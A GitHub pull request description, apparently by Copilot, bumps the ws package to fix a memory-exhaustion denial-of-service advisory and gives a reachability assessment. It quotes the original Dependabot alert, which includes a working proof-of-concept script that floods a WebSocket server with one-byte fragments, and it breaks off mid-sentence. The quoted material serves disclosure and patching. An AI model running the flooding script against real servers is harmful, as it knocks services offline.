fix: bump ws to >=8.21.0 to resolve CVE-2026-48779 (GHSA-96hv-2xvq-fx4p)

[Copilot]

ws@8.20.1 (transitive via @typespec/tspd → @alloy-js/core) is vulnerable to a memory-exhaustion DoS caused by high-volume tiny WebSocket fragments (fixed in ws@8.21.0).

Changes

• pnpm-workspace.yaml — adds ws: ">=8.21.0" override; also migrates all pre-existing overrides (lodash, yaml, picomatch, brace-expansion, underscore) from package.json here, which is the correct location for pnpm 10 (pnpm 10 emits a warning and ignores pnpm.overrides in package.json)
• package.json — removes the now-dead "pnpm": { "overrides": { … } } block
• pnpm-lock.yaml — regenerated; ws@8.20.1 fully replaced by ws@8.21.0

Reachability

Not directly reachable (high confidence). ws is used internally by @alloy-js/core for its dev-server channel — no code in this repo creates a WebSocketServer or imports ws directly. The vulnerability requires an attacker-controlled WebSocket peer to send crafted frames to a listening server. Risk is limited to the regen-docs dev script; no production or CI-critical path is exposed.

Original prompt

---

This section details the Dependabot vulnerability alert you should resolve

<alert_title>ws: Memory exhaustion DoS from tiny fragments and data chunks</alert_title>
<alert_description>### Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.</alert_description>

high
GHSA-96hv-2xvq-fx4p, CVE-2026-48779
ws
npm
<vulnerable_versions>8.20.1</vulnerable_versions>
<patched_version>8.21.0</patched_version>
<manifest_path>pnpm-lock.yaml</manifest_path>

https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7 https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53 https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94 https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8 https://github.com/advisories/GHSA-96hv-2xvq-fx4p

<task_instructions>Resolve this alert by updating the affected package to a non-vulnerable version. Prefer the lowest non-vulnerable version (see the patched_version field above) over the latest to minimize breaking changes. Include a Reachability Assessment section in the PR description. Review the alert_description field to understand which APIs, features, or configurations are affected, then search the codebase for usage of those specific items. If the vulnerable code path is reachable, explain how (which files, APIs, or call sites use the affected functionality) and note that the codebase is actively exposed to this vulnerability. If the vulnerable code path is not reachable, explain why (e.g. the affected API is never called, the vulnerable configuration is not used) and note that the update is primarily to satisfy vulnerability scanners rather than to address an active risk. If the advisory is too vague to determine reachability (e.g. 'improper input validation' with no specific API named), state that reachability could not be determined and explain why. Include a confidence level in the reachability assessment (e.g. high confidence if the advisory names a specific API and you confirmed it is or is not called, low confidence if the usage is indirect and hard to trace). If no patched version is available, check the alert_description field for a Workarounds section — the advisory may describe configuration changes or usage patterns that mitigate the vulnerability without a version update. If a workaround is available, apply it and leave a code comment referencing the advisory identifier explaining it is a temporary mitigation. If neither a patch nor a workaround is available, explain in the PR description why the alert cannot be resolved automatically so a human reviewer can take over. Inspect the repository to determine which package manager is used (e.g. lock files, config files, build scripts) and use that tooling to perform the update — do not edit lock files directly. If the version constraint in the manifest (e.g. package.json, Gemfile, pyproject.toml) caps the version below the f...

• Resolves Azure/autorest.go alert Use generic pager and poller types from azcore #791